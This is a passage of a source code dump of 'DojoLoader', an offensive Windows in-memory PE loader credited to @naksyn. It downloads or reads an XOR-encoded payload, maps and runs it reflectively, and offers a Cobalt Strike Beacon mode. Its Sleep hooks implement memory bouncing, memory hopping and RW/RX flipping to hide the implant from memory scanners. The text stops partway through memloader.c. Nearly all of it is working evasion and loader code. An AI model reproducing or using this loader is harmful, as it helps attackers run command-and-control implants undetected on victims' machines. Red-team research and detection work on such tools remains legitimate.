├── DojoLoader.sln
├── DojoLoader
├── DojoLoader.vcxproj
├── DojoLoader.vcxproj.filters
├── DojoLoader.vcxproj.user
├── hooks.c
├── hooks.h
├── main.c
├── memloader.c
├── memloader.h
├── structs.h
├── utils.c
└── utils.h
├── LICENSE
├── README.md
└── Utils
├── dummy_socket.c
└── noUDRL.cna
/DojoLoader.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.10.34928.147
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DojoLoader", "DojoLoader\DojoLoader.vcxproj", "{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x64.ActiveCfg = Debug|x64
17 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x64.Build.0 = Debug|x64
18 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x86.ActiveCfg = Debug|Win32
19 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x86.Build.0 = Debug|Win32
20 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x64.ActiveCfg = Release|x64
21 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x64.Build.0 = Release|x64
22 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x86.ActiveCfg = Release|Win32
23 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {3BC7183A-7CA2-4158-AA41-E708A27396BC}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/DojoLoader/DojoLoader.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {c996565d-a7e8-47e6-8ce5-c62ed8ff761b}
25 | DllDynamicLoader
26 | 10.0
27 | DojoLoader
28 |
29 |
30 |
31 | Application
32 | true
33 | v143
34 | Unicode
35 |
36 |
37 | Application
38 | false
39 | v143
40 | true
41 | Unicode
42 |
43 |
44 | Application
45 | true
46 | v143
47 | Unicode
48 |
49 |
50 | Application
51 | false
52 | v143
53 | true
54 | Unicode
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | true
76 |
77 |
78 | false
79 |
80 |
81 | true
82 |
83 |
84 | false
85 |
86 |
87 |
88 | Level3
89 | true
90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
91 | true
92 |
93 |
94 | Console
95 | true
96 |
97 |
98 |
99 |
100 | Level3
101 | true
102 | true
103 | true
104 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
105 | true
106 |
107 |
108 | Console
109 | true
110 | true
111 | true
112 |
113 |
114 |
115 |
116 | Level3
117 | true
118 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
119 | true
120 |
121 |
122 | Console
123 | true
124 | /GUARD:CF %(AdditionalOptions)
125 |
126 |
127 |
128 |
129 | Level3
130 | true
131 | true
132 | true
133 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
134 | true
135 | Guard
136 |
137 |
138 | Console
139 | true
140 | true
141 | true
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
--------------------------------------------------------------------------------
/DojoLoader/DojoLoader.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Source Files
6 |
7 |
8 | Source Files
9 |
10 |
11 | Source Files
12 |
13 |
14 | Source Files
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 | Header Files
29 |
30 |
31 |
32 |
33 | {64bc18b4-236f-4ba7-95e8-9319bcce8914}
34 |
35 |
36 | {1300fb45-352e-496e-b774-ee7a763f6918}
37 |
38 |
39 |
--------------------------------------------------------------------------------
/DojoLoader/DojoLoader.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/DojoLoader/hooks.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "structs.h"
4 | #include "utils.h"
5 |
6 | LPVOID oldbase;
7 | void (*func_ptr)(void);
8 | PMEM_MODULE GlobalpMemModule = NULL;
9 |
10 | // Function to check if a function should be hooked
11 | BOOL check_hook(const char* functionName) {
12 | const char* hookFunctions[] = { "Sleep" };
13 | for (int i = 0; i < sizeof(hookFunctions) / sizeof(hookFunctions[0]); i++) {
14 | if (strcmp(functionName, hookFunctions[i]) == 0) {
15 | return TRUE;
16 | }
17 | }
18 | return FALSE;
19 | }
20 |
21 |
22 | BOOL SetRXonSection(LPVOID lpBase, DWORD size) {
23 | DWORD dwOldProtect;
24 | if (FALSE == VirtualProtect(lpBase, size, PAGE_EXECUTE_READ, &dwOldProtect)) {
25 | return FALSE;
26 | }
27 | return TRUE;
28 | }
29 |
30 | BOOL SetRWonSection(LPVOID lpBase, DWORD size) {
31 | DWORD dwOldProtect;
32 | if (FALSE == VirtualProtect(lpBase, size, PAGE_READWRITE, &dwOldProtect)) {
33 | return FALSE;
34 | }
35 | return TRUE;
36 | }
37 |
38 | //--------------------------------------------------------------------------------------------------------------//
39 | // Hook function for Sleep
40 | void WINAPI SleepHookMemoryBouncing(DWORD dwMilliseconds) {
41 | printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds);
42 |
43 | printf("[+] copying %u (%#llx) bytes from address %p to buffer\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, DllPayload.startOfMappedPE);
44 | memcpy(DllPayload.tempPEdatabuffer, DllPayload.startOfMappedPE, DllPayload.mappedimagesize);
45 |
46 | printf("[+] XORing buffer at address %#llx for size %#llx\n", (unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize);
47 | XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey);
48 |
49 | // free the memory at address (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase)
50 | printf("[+] Freeing memory at address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE);
51 | if (FALSE == VirtualFree(DllPayload.startOfMappedPE, 0, MEM_RELEASE)) {
52 | printf("[!] Error: Failed to free memory. Error code: %lu\n", GetLastError());
53 | return;
54 | }
55 |
56 | SleepEx(dwMilliseconds, FALSE);
57 | printf("[+] End Sleep\n");
58 |
59 | printf("[+] Allocating memory again on address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE);
60 | LPVOID lpBase = VirtualAlloc((LPVOID)DllPayload.startOfMappedPE, DllPayload.mappedimagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
61 | if (lpBase == NULL) {
62 | printf("[!] Error: Failed to allocate section on address: %#llx Error code: %lu\n", (unsigned long long)DllPayload.startOfMappedPE, GetLastError());
63 | return;
64 | }
65 |
66 | if (DllPayload.tempPEdatabuffer == NULL) {
67 | printf("[+] Error: Destination pointer is NULL\n");
68 | return;
69 | }
70 |
71 | // xoring the temp pe buffer
72 |
73 | printf("[+] XORing buffer at address %#llx for size %#llx\n",(unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize);
74 | XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey);
75 | printf("[+] Copying buffer\n");
76 | memcpy(lpBase, DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize);
77 | printf("[+] Copied %u (%#llx) bytes at address %p\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, lpBase);
78 | printf("[+] XORing buffer at address %#llx for size %#llx\n", (unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize);
79 | XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey);
80 |
81 |
82 | printf("[+] Copied %u (%#llx) bytes at address %p\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, lpBase);
83 |
84 |
85 | }
86 |
87 |
88 |
89 | void WINAPI SleepHookMemoryHopping(DWORD dwMilliseconds) {
90 | printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds);
91 |
92 | void* returnAddress = _ReturnAddress();
93 |
94 | printf("[+] Return Address: %p\n", returnAddress);
95 |
96 |
97 | printf("[+] copying %u (%#llx) bytes from address %#llx to buffer for later use\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase);
98 |
99 | if (DllPayload.tempPEdatabuffer != NULL) {
100 | free(DllPayload.tempPEdatabuffer);
101 | DllPayload.tempPEdatabuffer = NULL;
102 | }
103 |
104 | // Allocate new memory and copy data into it
105 | DllPayload.tempPEdatabuffer = malloc(DllPayload.mappedimagesize);
106 | if (DllPayload.tempPEdatabuffer == NULL) {
107 | // Handle error
108 | return;
109 | }
110 |
111 | memcpy(DllPayload.tempPEdatabuffer, pMemModule->lpBase, DllPayload.mappedimagesize);
112 |
113 | // free the memory at address (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase)
114 | printf("[+] Freeing memory at address: %#llx\n", (unsigned long long)pMemModule->lpBase);
115 | if (FALSE == VirtualFree(pMemModule->lpBase, 0, MEM_RELEASE)) {
116 | printf("[!] Error: Failed to free memory. Error code: %lu\n", GetLastError());
117 | return;
118 | }
119 |
120 | SleepEx(dwMilliseconds, FALSE);
121 | printf("[+] End Sleep\n");
122 |
123 |
124 | oldbase = pMemModule->lpBase;
125 | LPVOID temp = (char*)pMemModule->lpBase + 0x100000;
126 | printf("[+] Allocating memory again on address: %#llx\n", (unsigned long long)temp);
127 | pMemModule->lpBase = VirtualAlloc(temp, DllPayload.mappedimagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
128 | if (pMemModule->lpBase == NULL) {
129 | printf("[!] Error: Failed to allocate section on address: %#llx Error code: %lu\n", (unsigned long long)DllPayload.startOfMappedPE, GetLastError());
130 | return;
131 | }
132 |
133 | LONGLONG ldeltahop = (PBYTE)returnAddress - (PBYTE)oldbase; //this is the offset from the start of the PE to the return address we should jump to
134 | void* NewReturnAddress = (PBYTE)pMemModule->lpBase + ldeltahop;
135 |
136 |
137 | printf("[+] Copying %u (%#llx) bytes from buffer to address %#llx\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase);
138 |
139 | if (DllPayload.tempPEdatabuffer == NULL) {
140 | printf("[+] Error: Destination pointer is NULL\n");
141 | return;
142 | }
143 |
144 |
145 | memcpy(pMemModule->lpBase, DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize);
146 | printf("[+] Copied %u (%#llx) bytes at address %#llx\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase);
147 | doRelocations(pMemModule);
148 | func_ptr = (void (*)(void))NewReturnAddress;
149 | printf("[+] Jump Address: %p\n", NewReturnAddress);
150 | func_ptr();
151 |
152 |
153 | }
154 |
155 | void WINAPI SleepHookRWRX(DWORD dwMilliseconds) {
156 |
157 | printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds);
158 |
159 | printf("[+] Setting RW permissions on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr,(unsigned long long)DllPayload.execRegionSize);
160 | if (FALSE == SetRWonSection(DllPayload.execRegionPtr,DllPayload.execRegionSize)) {
161 | DWORD dwError = GetLastError();
162 | printf("[!] Error: Failed to set RW on section. Error code: %lu\n", dwError);
163 | return;
164 | }
165 |
166 |
167 | printf("[+] XORing mapped PE memory on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize);
168 | XORWithKey(DllPayload.execRegionPtr, DllPayload.execRegionSize, Configs.SleepXorKey);
169 |
170 | SleepEx(dwMilliseconds, FALSE);
171 | printf("[+] End Sleep\n");
172 |
173 |
174 | printf("[+] XORing mapped PE memory on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize);
175 | XORWithKey(DllPayload.execRegionPtr, DllPayload.execRegionSize, Configs.SleepXorKey);
176 |
177 |
178 | printf("[+] Setting RX permissions on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize);
179 | if (FALSE == SetRXonSection(DllPayload.execRegionPtr,DllPayload.execRegionSize)) {
180 | DWORD dwError = GetLastError();
181 | printf("[!] Error: Failed to set RX on section. Error code: %lu\n", dwError);
182 | return;
183 | }
184 |
185 | }
186 |
187 |
--------------------------------------------------------------------------------
/DojoLoader/hooks.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | void WINAPI SleepHookMemoryBouncing(DWORD dwMilliseconds);
4 | void WINAPI SleepHookMemoryHopping(DWORD dwMilliseconds);
5 | void WINAPI SleepHookRWRX(DWORD dwMilliseconds);
6 | BOOL SetRWonSection(LPVOID lpBase, DWORD size);
7 | BOOL SetRXonSection(LPVOID lpBase, DWORD size);
8 |
9 | BOOL check_hook(const char* functionName);
--------------------------------------------------------------------------------
/DojoLoader/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "memloader.h"
4 | #include "utils.h"
5 | #include "structs.h"
6 | #include "hooks.h"
7 |
8 |
9 |
10 | typedef void** HMEMMODULE;
11 |
12 | struct CONFIG Configs = { .SleepXorKey = "DefaultSleepXorKey_changeme"};
13 |
14 | PVOID lpBaseArray[SIZE_ARRAY] = { 0 };
15 | SIZE_T TSizeArray[SIZE_ARRAY] = { 0 };
16 | int index = 0;
17 |
18 |
19 | DWORD Run(PVOID pDllBytes) {
20 | DWORD Error;
21 | HMEMMODULE hMemModule = NULL;
22 | hMemModule = LoadMod(pDllBytes, TRUE, &Error);
23 | DllPayload.Module = hMemModule;
24 | return Error;
25 | }
26 |
27 | void FreeRawModule(PVOID pDllBytes) {
28 | printf("\n");
29 | for (int i = 0; i < index ; i++){
30 |
31 | if (!VirtualFree(lpBaseArray[i], TSizeArray[i], MEM_DECOMMIT)) {
32 | printf("\t[i] VirtualFree error: %d at index : %d \n", GetLastError(), i);
33 | }
34 | }
35 | if (DllPayload.BytesNumber){
36 | ZeroMemory(pDllBytes, DllPayload.BytesNumber);
37 | }
38 | }
39 |
40 | void printHelp(wchar_t* programNameW) {
41 | char programNameA[260];
42 | WideCharToMultiByte(CP_UTF8, 0, programNameW, -1, programNameA, sizeof(programNameA), NULL, NULL);
43 |
44 | wprintf(L"Usage: %ls -d | -f [-k ] [-s ] [-beacon]\n", programNameW);
45 | printf("Options:\n");
46 | printf(" -d -download \t Load PE from the specified URL\n");
47 | printf(" -f -file \t\t Load PE from the specified file\n");
48 | printf(" -k -key \t\t XOR the payload with the specified key\n");
49 | printf(" -s -sleep <1 (membounce),2 (memhop),3 (RWRX)> \t Sleep Obfuscation techniques:\n\t\t 1 or membounce for MemoryBouncing\n\t\t 2 or memhop for Memory Hopping (choose a compatible payload)\n\t\t 3 or RWRX for classic RW->RX \n");
50 | printf(" -beacon \t\t use Cobalt Strike UDRL-les Beacon payload execution method\n");
51 | printf(" -h \t\t\t print this help\n");
52 | }
53 |
54 | int wmain(int argc, wchar_t* argv[]) {
55 | BOOL Succ;
56 | PVOID pDllBytes;
57 | HMEMMODULE hMemModule = NULL;
58 | DWORD Error;
59 | char* url = NULL;
60 | char* filePath = NULL;
61 | char* key = NULL;
62 |
63 | LPWSTR* szArglist;
64 | int nArgs;
65 |
66 | szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
67 | if (NULL == szArglist) {
68 | wprintf(L"CommandLineToArgvW fail\n");
69 | return 0;
70 | }
71 | else {
72 | for (int i = 0; i < nArgs; i++) {
73 | printf("%d: %ws\n", i, szArglist[i]);
74 | }
75 | }
76 |
77 | printf(
78 | "______ _ _ _ \n"
79 | "| _ \\ (_) | | | | \n"
80 | "| | | |___ _ ___ | | ___ __ _ __| | ___ _ __ \n"
81 | "| | | / _ \\| |/ _ \\| | / _ \\ / _` |/ _` |/ _ \\ '__|\n"
82 | "| |/ / (_) | | (_) | |___| (_) | (_| | (_| | __/ | \n"
83 | "|___/ \\___/| |\\___/\\_____ \\___/ \\__,_|\\__,_|\\___|_| \n"
84 | " _/ | \n"
85 | " |__/ \n"
86 | "\nAuthor: @naksyn\n\n"
87 | );
88 |
89 |
90 | if (argc == 1) {
91 | printHelp(argv[0]);
92 | return -1;
93 | }
94 |
95 | for (int i = 0; i < nArgs; i++) {
96 | if (wcscmp(szArglist[i], L"-h") == 0) {
97 | printHelp(argv[0]);
98 | return 0;
99 | }
100 | }
101 |
102 | for (int i = 1; i < nArgs; i++) {
103 | if (wcscmp(szArglist[i], L"-download") == 0 || wcscmp(szArglist[i], L"-d") == 0 && i + 1 < nArgs) {
104 | int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL);
105 | url = (char*)malloc(bufferSize);
106 | WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, url, bufferSize, NULL, NULL);
107 | }
108 | else if (wcscmp(szArglist[i], L"-file") == 0 || wcscmp(szArglist[i], L"-f") == 0 && i + 1 < nArgs) {
109 | int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL);
110 | filePath = (char*)malloc(bufferSize);
111 | WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, filePath, bufferSize, NULL, NULL);
112 | }
113 | else if (wcscmp(szArglist[i], L"-key") == 0 || wcscmp(szArglist[i], L"-k") == 0 && i + 1 < nArgs) {
114 | int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL);
115 | key = (char*)malloc(bufferSize);
116 | WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, key, bufferSize, NULL, NULL);
117 | Configs.XorKey = key;
118 | }
119 | else if (wcscmp(szArglist[i], L"-beacon") == 0) {
120 | Configs.Beacon = TRUE;
121 | }
122 | else if (wcscmp(szArglist[i], L"-sleep") == 0 || wcscmp(szArglist[i], L"-s") == 0 && i + 1 < nArgs) {
123 | if (wcscmp(szArglist[++i], L"1") == 0 || wcscmp(szArglist[i], L"membounce") == 0) {
124 | Configs.SleepHookFunc = SleepHookMemoryBouncing;
125 | }
126 | else if (wcscmp(szArglist[i], L"2") == 0 || wcscmp(szArglist[i], L"memhop") == 0) {
127 | Configs.SleepHookFunc = SleepHookMemoryHopping;
128 | }
129 | else if (wcscmp(szArglist[i], L"3") == 0 || wcscmp(szArglist[i], L"RWRX") == 0) {
130 | Configs.SleepHookFunc = SleepHookRWRX;
131 | }
132 | else {
133 | wprintf(L"Unknown function: %ws\n", szArglist[i]);
134 | return -1;
135 | }
136 | }
137 |
138 | else {
139 | wprintf(L"[!] Unknown option: %ws\n", szArglist[i]);
140 | return -1;
141 | }
142 | }
143 |
144 | printf("URL: %s\n", url);
145 | if (url != NULL) {
146 | DWORD size;
147 | char* data = DownloadFile(url, &size);
148 | if (data != NULL)
149 | {
150 | if (Configs.XorKey != NULL) {
151 | printf("[!] Xoring payload with key: %s\n", Configs.XorKey);
152 | XORWithKey(data, size, Configs.XorKey);
153 | }
154 | DllPayload.BytesNumber = size;
155 | DllPayload.pDllBytes = data;
156 | }
157 | else {
158 | printf("[!] DownloadFile Failed With Error: %d \n", GetLastError());
159 | return -1;
160 | }
161 | }
162 | else if (filePath != NULL) {
163 | Succ = ReadDllFile(filePath);
164 | if (!Succ) {
165 | printf("[!] ReadDllFile Failed With Error: %d \n", GetLastError());
166 | return -1;
167 | }
168 | if (Configs.XorKey != NULL) {
169 | printf("[!] Xoring payload with key: %s\n", Configs.XorKey);
170 | XORWithKey(DllPayload.pDllBytes, DllPayload.BytesNumber, Configs.XorKey);
171 | }
172 | }
173 | else {
174 | printf("[!] Either -d (load PE from from URL) or -f (load PE from file) option must be specified\n");
175 | return -1;
176 | }
177 |
178 | pDllBytes = DllPayload.pDllBytes;
179 | if (pDllBytes == NULL) {
180 | printf("[!] pDllBytes is Null : %d \n", GetLastError());
181 | return -1;
182 | }
183 |
184 |
185 | printf("[+] Running\n");
186 |
187 | Error = Run(pDllBytes);
188 | if (Error != MMEC_OK) {
189 | printf("[!] Coudn't Run The Dll ... \n");
190 | FreeRawModule(pDllBytes);
191 | return -1;
192 | }
193 | printf("[+] DONE \n");
194 | FreeRawModule(pDllBytes);
195 |
196 | return 0;
197 | }
--------------------------------------------------------------------------------
/DojoLoader/memloader.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include "memloader.h"
3 | #include "hooks.h"
4 | #include "utils.h"
5 |
6 | PMEM_MODULE pMemModule = NULL;
7 | LPVOID oldbase = NULL;
8 |
9 |
10 | //--------------------------------------------------------------------------------------------------------------//
11 | // the following 2 functions, are made to add elements in the arrays we have
12 | void AppendTSizeArray(SIZE_T Value) {
13 | for (int i = 0; i < SIZE_ARRAY + 1; i++){
14 | if (TSizeArray[i] == 0){
15 | TSizeArray[i] = Value;
16 | index++;
17 | break;
18 | }
19 | }
20 | }
21 |
22 | void AppendlpBaseArray(PVOID Value) {
23 | for (int i = 0; i < SIZE_ARRAY + 1; i++) {
24 | if (lpBaseArray[i] == NULL) {
25 | lpBaseArray[i] = Value;
26 | break;
27 | }
28 | }
29 | }
30 |
31 | //--------------------------------------------------------------------------------------------------------------//
32 | BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID PEdata, BOOL CallEntryPoint) {
33 | if ( pMemModule == NULL || PEdata == NULL)
34 | return FALSE;
35 | pMemModule->dwErrorCode = ERROR_SUCCESS;
36 | // Verify file format
37 | if (IsPEValid(pMemModule, PEdata) == FALSE) {
38 | return FALSE;
39 | }
40 | // Map PE header and section table into memory
41 | if (MapModule(pMemModule, PEdata) == FALSE)
42 | return FALSE;
43 | // Relocate the module base
44 | if (doRelocations(pMemModule) == FALSE) {
45 | UnmapModule(pMemModule);
46 | return FALSE;
47 | }
48 | // Resolve the import table
49 | if (ResolveImports(pMemModule) == FALSE) {
50 | UnmapModule(pMemModule);
51 | return FALSE;
52 | }
53 | pMemModule->dwCrc = GetCRC32(0, pMemModule->lpBase, pMemModule->dwSizeOfImage);
54 |
55 | // Correct the protect flag for all section pages --- DO THIS IF YOU WANT 2 ALLOCATIONS
56 | //if (FALSE == SetRXonSection(DllPayload.startOfMappedPE)) {
57 | //UnmapModule(pMemModule);
58 | //return FALSE;
59 | //}
60 | // don't do this if you want 2 allocations or RWX
61 | if (Configs.SleepHookFunc == SleepHookRWRX) {
62 | if (SetPermissions(pMemModule) == FALSE) {
63 | UnmapModule(pMemModule);
64 | return FALSE;
65 | }
66 | }
67 |
68 | // process tls data
69 | if (HandleTLS(pMemModule) == FALSE)
70 | return FALSE;
71 | if (CallEntryPoint) {
72 | if (CallModuleEntry(pMemModule, DLL_PROCESS_ATTACH) == FALSE) {
73 | // failed to call entry point,
74 | // clean resource, return false
75 | UnmapModule(pMemModule);
76 | return FALSE;
77 | }
78 | }
79 |
80 | return TRUE;
81 | }
82 |
83 | HMEMMODULE LoadMod(LPVOID PEdata, BOOL CallEntryPoint, DWORD* pdwError) {
84 | pMemModule = GlobalAlloc(GPTR, sizeof(MEM_MODULE));
85 | if (pMemModule == NULL) {
86 | if (pdwError != NULL) {
87 | *pdwError = MMEC_INVALID_WIN32_ENV;
88 | }
89 | return NULL;
90 | }
91 |
92 | pMemModule->CallEntryPoint = CallEntryPoint;
93 | pMemModule->isLoaded = FALSE;
94 | pMemModule->dwErrorCode = MMEC_OK;
95 |
96 | if (!LoadModuleInt(pMemModule, PEdata, CallEntryPoint)) {
97 | if (pdwError != NULL) {
98 | *pdwError = pMemModule->dwErrorCode;
99 | }
100 | GlobalFree(pMemModule);
101 | return NULL;
102 | }
103 |
104 | if (pdwError != NULL) {
105 | *pdwError = 0;
106 | }
107 | return (HMEMMODULE)pMemModule;
108 | }
109 |
110 |
111 | //--------------------------------------------------------------------------------------------------------------//
112 | // Tests the return value and jump to exit label if false.
113 | #define IfFalseGoExitWithError(x, exp) \
114 | do { \
115 | if (!(br = (x)) && (exp)) \
116 | goto _Exit; \
117 | } while (0)
118 |
119 |
120 | //--------------------------------------------------------------------------------------------------------------//
121 | // Create a pointer value.
122 | #define MakePointer(t, p, offset) ((t)((PBYTE)(p) + offset))
123 |
124 | //--------------------------------------------------------------------------------------------------------------//
125 | /// True if the data is valid PE format.
126 | BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID PEdata) {
127 | if (pMemModule == NULL) {
128 | return FALSE;
129 | }
130 |
131 | BOOL isValid = FALSE;
132 | PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)PEdata;
133 |
134 | if (IMAGE_DOS_SIGNATURE != pImageDosHeader->e_magic) {
135 | goto Exit;
136 | }
137 |
138 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, PEdata, pImageDosHeader->e_lfanew);
139 | if (IMAGE_NT_SIGNATURE != pImageNtHeader->Signature) {
140 | goto Exit;
141 | }
142 |
143 | #ifdef _WIN64
144 | if (IMAGE_FILE_MACHINE_AMD64 == pImageNtHeader->FileHeader.Machine) {
145 | if (IMAGE_NT_OPTIONAL_HDR64_MAGIC != pImageNtHeader->OptionalHeader.Magic) {
146 | goto Exit;
147 | }
148 | }
149 | #else
150 | if (IMAGE_FILE_MACHINE_I386 == pImageNtHeader->FileHeader.Machine) {
151 | if (IMAGE_NT_OPTIONAL_HDR32_MAGIC != pImageNtHeader->OptionalHeader.Magic) {
152 | goto Exit;
153 | }
154 | }
155 | #endif
156 | else {
157 | goto Exit;
158 | }
159 |
160 | isValid = TRUE;
161 |
162 | Exit:
163 | if (!isValid) {
164 | pMemModule->dwErrorCode = MMEC_BAD_PE_FORMAT;
165 | }
166 | return isValid;
167 | }
168 |
169 |
170 | //--------------------------------------------------------------------------------------------------------------//
171 | // this function here is used to map all the sections
172 | BOOL MapModule(PMEM_MODULE pMemModule, LPVOID PEdata) {
173 | if (pMemModule == NULL || PEdata == NULL)
174 | return FALSE;
175 |
176 | PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)(PEdata);
177 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew);
178 | int nNumberOfSections = pImageNtHeader->FileHeader.NumberOfSections;
179 | PIMAGE_SECTION_HEADER pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS));
180 |
181 | DWORD dwImageSizeLimit = 0;
182 | for (int i = 0; i < nNumberOfSections; ++i) {
183 | if (pImageSectionHeader[i].VirtualAddress != 0) {
184 | DWORD sectionLimit = pImageSectionHeader[i].VirtualAddress + pImageSectionHeader[i].SizeOfRawData;
185 | if (dwImageSizeLimit < sectionLimit)
186 | dwImageSizeLimit = sectionLimit;
187 | }
188 | }
189 | DllPayload.mappedimagesize = dwImageSizeLimit;
190 |
191 | // Reserve virtual memory
192 |
193 | DWORD protection = (Configs.SleepHookFunc == SleepHookMemoryBouncing || Configs.SleepHookFunc == SleepHookMemoryHopping) ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE;
194 | LPVOID lpBase = VirtualAlloc((LPVOID)(pImageNtHeader->OptionalHeader.ImageBase), pImageNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, protection);
195 | if (NULL == lpBase) {
196 | lpBase = VirtualAlloc(NULL, pImageNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, protection);
197 | if (NULL == lpBase) {
198 | pMemModule->dwErrorCode = MMEC_ALLOCATED_MEMORY_FAILED;
199 | return FALSE;
200 | }
201 | }
202 |
203 | DllPayload.startOfMappedPE = lpBase;
204 | oldbase = DllPayload.startOfMappedPE;
205 | AppendlpBaseArray(lpBase);
206 | AppendTSizeArray(dwImageSizeLimit);
207 | // Commit memory for PE header
208 | LPVOID pDest = lpBase;//VirtualAlloc(lpBase, pImageNtHeader->OptionalHeader.SizeOfHeaders, MEM_COMMIT, PAGE_READWRITE);
209 | if (!pDest) {
210 | pMemModule->dwErrorCode = MMEC_ALLOCATED_MEMORY_FAILED;
211 | return FALSE;
212 | }
213 |
214 |
215 | AppendlpBaseArray(pDest);
216 | AppendTSizeArray(pImageNtHeader->OptionalHeader.SizeOfHeaders);
217 | RtlMoveMemory(pDest, PEdata, pImageNtHeader->OptionalHeader.SizeOfHeaders);
218 |
219 | pMemModule->lpBase = pDest;
